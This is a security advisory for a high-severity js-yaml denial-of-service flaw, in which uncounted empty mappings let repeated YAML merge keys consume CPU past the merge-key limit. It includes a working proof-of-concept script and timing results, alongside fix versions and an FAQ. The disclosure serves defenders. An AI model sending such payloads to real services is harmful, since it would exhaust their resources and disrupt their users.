GHSA-2883-xcg3-v3hh: High severity npm/js-yaml vulnerability
Summary
maxTotalMergeKeys does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit.
Example
yaml arr: &arr [{}, {}, {}, ...] # N empty mappings targets: - <<: arr # repeated K times
For every target, the loader iterates all N elements of arr. This results in O(N K) work while totalMergeKeys remains unchanged.
PoC
js import { performance } from 'node:perfhooks' import { load, YAML11SCHEMA } from 'js-yaml'
const n = 20000
const src = 'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\n' + 'targets:\n' + ' - <<: arr\n'.repeat(n)
const started = performance.now()
load(src, { schema: YAML11SCHEMA })
console.log(${(performance.now() - started).toFixed(1)} ms)
Observed results:
| N | YAML size | Time | |---:|---:|---:| | 800 | ~13 KB | ~20 ms | | 3200 | ~50 KB | ~180 ms | | 20000 | ~500 KB | ~13 s |
Impact
An attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default maxTotalMergeKeys limit.
Fix
Count each merge-source mapping as one budget unit, in addition to counting its keys.
Difference with v5
In v3 & v4, merge is enabled by default. So, the severity score is higher.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/js-yamlto a version that resolves this vulnerability.Fixed in 3.15.2 - Upgrade
Upgrade
npm/js-yamlto a version that resolves this vulnerability.Fixed in 4.3.2
Event History
Frequently Asked Questions
Who is exposed to this issue?
Applications using npm/js-yaml to load YAML that an attacker can submit or otherwise influence are exposed. The attacker can use YAML merge keys with an aliased sequence of empty mappings to drive excessive CPU use.
Does the default merge-key limit prevent exploitation?
No. Empty mappings do not increase maxTotalMergeKeys, so repeated merges can cause substantial processing without reaching the configured default limit.
What does an attacker need to exploit it?
The attacker needs to provide a YAML document that is processed with YAML merge support, such as the shown YAML 1.1 schema example. No authentication or user interaction is required according to the supplied severity vector.
How severe can the resource consumption be?
The work grows as O(N * K), where N is the number of empty mappings in the aliased sequence and K is the number of repeated merge targets. In the provided test, a roughly 500 KB document took about 13 seconds to load.
What is the intended remediation?
The fix is to count every merge-source mapping as one budget unit in addition to counting its keys. This ensures empty mappings contribute to the merge-key budget.